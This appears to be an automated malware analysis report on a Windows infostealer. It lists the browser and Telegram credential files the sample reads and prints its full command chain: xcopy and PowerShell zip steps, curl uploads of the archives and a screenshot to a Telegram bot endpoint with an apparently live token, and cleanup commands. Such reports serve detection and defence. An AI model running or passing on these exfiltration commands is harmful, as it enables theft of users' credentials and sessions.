Technical Information
Malicious functions
Reads files which store third party applications passwords
- %LOCALAPPDATA%\google\chrome\user data\default\cookies
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %LOCALAPPDATA%\microsoft\edge\user data\default\login data
Modifies file system
Creates the following files
- %TEMP%\browser_data\chrome_login_data
- %TEMP%\browser_data\chrome_cookies
- %TEMP%\browser_data\chrome_local_state
- %TEMP%\browser_data\chrome_history
- %TEMP%\browser_data\edge_login_data
- %TEMP%\browser_data\edge_local_state
- %TEMP%\browser_data\edge_history
- %TEMP%\browser_data\firefox_complete\dnyauhh1.default-release\addons.json
- %TEMP%\browser_data\firefox_complete\dnyauhh1.default-release\addonstartup.json.lz4
- %TEMP%\browser_data\firefox_complete\dnyauhh1.default-release\broadcast-listeners.json
- %TEMP%\browser_data\firefox_complete\dnyauhh1.default-release\cert9.db
- %TEMP%\browser_data\firefox_complete\dnyauhh1.default-release\compatibility.ini
- %TEMP%\browser_data\firefox_complete\dnyauhh1.default-release\containers.json
- %TEMP%\browser_data\firefox_complete\dnyauhh1.default-release\content-prefs.sqlite
- %TEMP%\browser_data\firefox_complete\dnyauhh1.default-release\cookies.sqlite
- %TEMP%\browser_data\firefox_complete\dnyauhh1.default-release\cookies.sqlite-shm
- %TEMP%\browser_data\firefox_complete\dnyauhh1.default-release\extension-preferences.json
- %TEMP%\browser_data\firefox_complete\dnyauhh1.default-release\extensions.json
- %TEMP%\browser_data\firefox_complete\dnyauhh1.default-release\favicons.sqlite
- %TEMP%\browser_data\firefox_complete\dnyauhh1.default-release\favicons.sqlite-shm
- %TEMP%\browser_data\firefox_complete\dnyauhh1.default-release\formhistory.sqlite
- %TEMP%\browser_data\firefox_complete\dnyauhh1.default-release\handlers.json
- %TEMP%\browser_data\firefox_complete\dnyauhh1.default-release\key4.db
- nul
- %TEMP%\browser_data.zip
- %TEMP%\screenshot.bmp
Deletes following files that it created itself
- %TEMP%\browser_data.zip
- %TEMP%\screenshot.bmp
Network activity
Connects to
- 'ip##pi.com':80
- 'ap#.##legram.org':443
TCP
HTTP GET requests
- http://ip##pi.com/json/
UDP
- DNS ASK ip##pi.com
- DNS ASK ap#.##legram.org
Miscellaneous
Executes the following
- '<SYSTEM32>\cmd.exe' /c xcopy /E /I /Q "%APPDATA%\Mozilla\Firefox\Profiles" "%TEMP%\browser_data\Firefox_Complete" >nul 2>&1
- '<SYSTEM32>\xcopy.exe' /E /I /Q "%APPDATA%\Mozilla\Firefox\Profiles" "%TEMP%\browser_data\Firefox_Complete"
- '<SYSTEM32>\cmd.exe' /c powershell.exe -Command "& {Compress-Archive -Path \"%TEMP%\browser_data\*\" -DestinationPath \"%TEMP%\browser_data.zip\" -Force}" >nul 2>&1
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "& {Compress-Archive -Path \"%TEMP%\browser_data\*\" -DestinationPath \"%TEMP%\browser_data.zip\" -Force}"
- '<SYSTEM32>\cmd.exe' /c curl -s -F document=@"%TEMP%\browser_data.zip" "https://api.telegram.org/bot7655341352:AAFitnYqFrFWA44TVOtIo-cJ7eRoJRl71Yc/sendDocument?chat_id=7825278108" >nul 2>&1
- '<SYSTEM32>\curl.exe' -s -F document=@"%TEMP%\browser_data.zip" "https://api.telegram.org/bot7655341352:AAFitnYqFrFWA44TVOtIo-cJ7eRoJRl71Yc/sendDocument?chat_id=7825278108"
- '<SYSTEM32>\cmd.exe' /c rd /s /q "%TEMP%\browser_data" >nul 2>&1
- '<SYSTEM32>\cmd.exe' /c xcopy /E /I /Q "%APPDATA%\Telegram Desktop\tdata" "%TEMP%\tdata_backup" >nul 2>&1
- '<SYSTEM32>\xcopy.exe' /E /I /Q "%APPDATA%\Telegram Desktop\tdata" "%TEMP%\tdata_backup"
- '<SYSTEM32>\cmd.exe' /c powershell.exe -Command "& {Compress-Archive -Path \"%TEMP%\tdata_backup\*\" -DestinationPath \"%TEMP%\tdata.zip\" -Force}" >nul 2>&1
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "& {Compress-Archive -Path \"%TEMP%\tdata_backup\*\" -DestinationPath \"%TEMP%\tdata.zip\" -Force}"
- '<SYSTEM32>\cmd.exe' /c curl -s -F document=@"%TEMP%\tdata.zip" "https://api.telegram.org/bot7655341352:AAFitnYqFrFWA44TVOtIo-cJ7eRoJRl71Yc/sendDocument?chat_id=7825278108" >nul 2>&1
- '<SYSTEM32>\curl.exe' -s -F document=@"%TEMP%\tdata.zip" "https://api.telegram.org/bot7655341352:AAFitnYqFrFWA44TVOtIo-cJ7eRoJRl71Yc/sendDocument?chat_id=7825278108"
- '<SYSTEM32>\cmd.exe' /c rd /s /q "%TEMP%\tdata_backup" >nul 2>&1
- '<SYSTEM32>\cmd.exe' /c curl -s -F document=@"%TEMP%\screenshot.bmp" "https://api.telegram.org/bot7655341352:AAFitnYqFrFWA44TVOtIo-cJ7eRoJRl71Yc/sendDocument?chat_id=7825278108" >nul 2>&1
- '<SYSTEM32>\curl.exe' -s -F document=@"%TEMP%\screenshot.bmp" "https://api.telegram.org/bot7655341352:AAFitnYqFrFWA44TVOtIo-cJ7eRoJRl71Yc/sendDocument?chat_id=7825278108"
- '<SYSTEM32>\cmd.exe' /c curl -s -F document=@"%TEMP%\browser_data.zip" "https://api.telegram.org/bot7655341352:AAFitnYqFrFWA44TVOtIo-cJ7eRoJRl71Yc/sendDocument?chat_id=7825278108" >nul 2>&1' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c curl -s -F document=@"%TEMP%\tdata.zip" "https://api.telegram.org/bot7655341352:AAFitnYqFrFWA44TVOtIo-cJ7eRoJRl71Yc/sendDocument?chat_id=7825278108" >nul 2>&1' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c curl -s -F document=@"%TEMP%\screenshot.bmp" "https://api.telegram.org/bot7655341352:AAFitnYqFrFWA44TVOtIo-cJ7eRoJRl71Yc/sendDocument?chat_id=7825278108" >nul 2>&1' (with hidden window)
